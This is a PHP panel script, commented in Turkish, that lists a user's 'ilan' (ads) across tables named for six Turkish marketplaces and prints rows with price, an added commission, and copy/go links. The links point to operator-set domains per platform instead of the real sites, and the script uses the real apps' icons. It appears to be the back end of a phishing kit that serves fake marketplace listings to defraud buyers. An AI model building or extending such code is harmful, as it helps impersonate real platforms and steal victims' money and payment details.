<?php
session_start();
require_once __DIR__ . '/../../database/connect.php';

$kul_id = $_SESSION['kul_id'] ?? '';
if (empty($kul_id)) exit;

$search = $_GET['search'] ?? '';

// Panel ayarları (domain'ler için)
$panelQ = $db->query("SELECT * FROM panel WHERE id = 1");
$panel = $panelQ->fetch(PDO::FETCH_ASSOC) ?? [];

$domainMap = [
    'ilan_sahibinden' => $panel['dom_sahibinden'] ?? '',
    'ilan_dolap' => $panel['dom_dolap'] ?? '',
    'ilan_letgo' => $panel['dom_letgo'] ?? '',
    'ilan_pttavm' => $panel['dom_pttavm'] ?? '',
    'ilan_turkcell' => $panel['dom_turkcell'] ?? '',
    'ilan_shopier' => $panel['dom_shopier'] ?? ''
];

$platformNames = [
    'ilan_sahibinden' => 'Sahibinden',
    'ilan_dolap' => 'Dolap',
    'ilan_letgo' => 'Letgo',
    'ilan_pttavm' => 'PttAVM',
    'ilan_turkcell' => 'Turkcell',
    'ilan_shopier' => 'Shopier'
];

$platformIcons = [
    'ilan_sahibinden' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple116/v4/5d/72/c8/5d72c896-c46e-9dad-e32b-65bcc7344d36/AppIcon-0-0-1x_U007emarketing-0-6-0-0-85-220.png/146x0w.webp',
    'ilan_dolap' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple126/v4/a0/36/89/a03689e9-8590-6077-2701-c61c7281eaad/AppIcon-1x_U007emarketing-0-7-0-85-220.png/230x0w.webp',
    'ilan_letgo' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple116/v4/fe/fe/52/fefe52b3-0bbe-3c5e-f711-9df4bf618cee/AppIcon-0-0-1x_U007emarketing-0-0-0-7-0-0-sRGB-0-0-0-GLES2_U002c0-512MB-85-220-0-0.png/230x0w.webp',
    'ilan_pttavm' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple126/v4/fc/1b/d9/fc1bd965-3f7c-78c7-90c4-3d1c20567316/AppIcon-0-0-1x_U007emarketing-0-10-0-0-85-220.png/230x0w.webp',
    'ilan_turkcell' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple116/v4/79/41/63/794163e8-5793-bc19-988e-23fc4c41eedd/AppIconPrimary-0-0-1x_U007emarketing-0-0-0-7-0-0-sRGB-0-0-0-GLES2_U002c0-512MB-85-220-0-0.png/230x0w.webp',
    'ilan_shopier' => 'https://is1-ssl.mzstatic.com/image/thumb/Purple126/v4/88/a2/27/88a2277b-fc32-c7dd-0455-08f78b2b463c/AppIcon-0-0-1x_U007emarketing-0-0-0-7-0-0-sRGB-0-0-0-GLES2_U002c0-512MB-85-220-0-0.png/230x0w.webp'
];

$tables = ['ilan_sahibinden', 'ilan_dolap', 'ilan_letgo', 'ilan_pttavm', 'ilan_turkcell', 'ilan_shopier'];
$allIlanlar = [];

foreach ($tables as $table) {
    try {
        if (!empty($search)) {
            $q = $db->prepare("SELECT *, '$table' as platform FROM $table WHERE ekleyen = ? AND (urunadi LIKE ? OR adsoyad LIKE ? OR ilanno LIKE ?) ORDER BY id DESC");
            $searchTerm = '%' . $search . '%';
            $q->execute([$kul_id, $searchTerm, $searchTerm, $searchTerm]);
        } else {
            $q = $db->prepare("SELECT *, '$table' as platform FROM $table WHERE ekleyen = ? ORDER BY id DESC");
            $q->execute([$kul_id]);
        }
        $rows = $q->fetchAll(PDO::FETCH_ASSOC);
        $allIlanlar = array_merge($allIlanlar, $rows);
    } catch (Exception $e) {}
}

// Grup ID'ye göre grupla
$gruplar = [];
$tekil = [];

foreach ($allIlanlar as $ilan) {
    $grup_id = $ilan['grup_id'] ?? '';
    if (!empty($grup_id)) {
        if (!isset($gruplar[$grup_id])) {
            $gruplar[$grup_id] = [];
        }
        $gruplar[$grup_id][] = $ilan;
    } else {
        // Grup ID yoksa ürün adı + satıcı + fiyat'a göre grupla
        $key = md5(($ilan['urunadi'] ?? '') . '_' . ($ilan['adsoyad'] ?? '') . '_' . ($ilan['urunfiyati'] ?? ''));
        if (!isset($tekil[$key])) {
            $tekil[$key] = [];
        }
        $tekil[$key][] = $ilan;
    }
}

$tumGruplar = array_merge(array_values($gruplar), array_values($tekil));

usort($tumGruplar, function($a, $b) {
    $maxA = max(array_column($a, 'id'));
    $maxB = max(array_column($b, 'id'));
    return $maxB - $maxA;
});

if (empty($tumGruplar)) {
    echo '<tr><td colspan="10" class="text-center py-4" style="color:#666;">İlan bulunamadı.</td></tr>';
    exit;
}

foreach ($tumGruplar as $grup) {
    $ilan = $grup[0];
    $grup_id = $ilan['grup_id'] ?? '';
    
    // Platformları topla
    $platformlar = [];
    foreach ($grup as $item) {
        $platform = $item['platform'];
        $domain = $domainMap[$platform] ?? '';
        $link = !empty($domain) ? 'https://' . $domain . '/' . $item['id'] : '#';
        $platformlar[$platform] = [
            'id' => $item['id'],
            'name' => $platformNames[$platform] ?? 'Bilinmiyor',
            'icon' => $platformIcons[$platform] ?? '',
            'link' => $link,
            'durum' => ($item['ilandurum'] ?? '0') == '1' ? 'aktif' : 'pasif'
        ];
    }
    
    $genelDurum = 'pasif';
    foreach ($platformlar as $p) {
        if ($p['durum'] == 'aktif') { $genelDurum = 'aktif'; break; }
    }
    $durumClass = $genelDurum == 'aktif' ? 'badge-aktif' : 'badge-pasif';
    
    $urunadi = htmlspecialchars($ilan['urunadi'] ?? 'Bilinmiyor');
    $adsoyad = htmlspecialchars($ilan['adsoyad'] ?? '');
    $fiyat = htmlspecialchars($ilan['urunfiyati'] ?? '0');
    $komisyon = htmlspecialchars($ilan['komisyon'] ?? '0');
    $toplam = intval($fiyat) + intval($komisyon);
    
    $resim = $ilan['resim1'] ?? '';
    $resimUrl = !empty($resim) ? 'images/' . $resim : 'assets/media/no-image.png';
    
    $platformJson = htmlspecialchars(json_encode($platformlar), ENT_QUOTES, 'UTF-8');
    $grupIdSafe = htmlspecialchars($grup_id ?: 'SINGLE_' . $ilan['platform'] . '_' . $ilan['id'], ENT_QUOTES, 'UTF-8');
    
    $firstPlatform = array_key_first($platformlar);
    $firstId = $platformlar[$firstPlatform]['id'];
    
    echo '<tr>';
    echo '<td><button class="btn-link-copy" onclick=\'showPlatformPopup(' . $platformJson . ', "copy")\'>Linki Kopyala</button></td>';
    echo '<td><button class="btn-link-go" onclick=\'showPlatformPopup(' . $platformJson . ', "go")\'>Linke Git</button></td>';
    echo '<td><span class="' . $durumClass . '">' . $genelDurum . '</span></td>';
    echo '<td>' . $adsoyad . '</td>';
    echo '<td>' . $urunadi . '</td>';
    echo '<td><img src="' . $resimUrl . '" class="product-img" onerror="this.src=\'assets/media/no-image.png\'"></td>';
    echo '<td>' . number_format($fiyat, 0, ',', '.') . ' TL</td>';
    echo '<td>' . number_format($komisyon, 0, ',', '.') . ' TL</td>';
    echo '<td>' . number_format($toplam, 0, ',', '.') . ' TL</td>';
    
    echo '<td>';
    $platformCount = count($platformlar);
    echo '<span class="platform-count">' . $platformCount . ' platform</span> ';
    echo '<button class="btn-edit" onclick="editGrupIlan(\'' . $grupIdSafe . '\')">Düzenle</button> ';
    // Tüm platformları silmek için platform bilgilerini gönder
    echo '<button class="btn-delete" onclick=\'deleteAllPlatforms(' . $platformJson . ')\'>Sil</button>';
    echo '</td>';
    echo '</tr>';
}
?>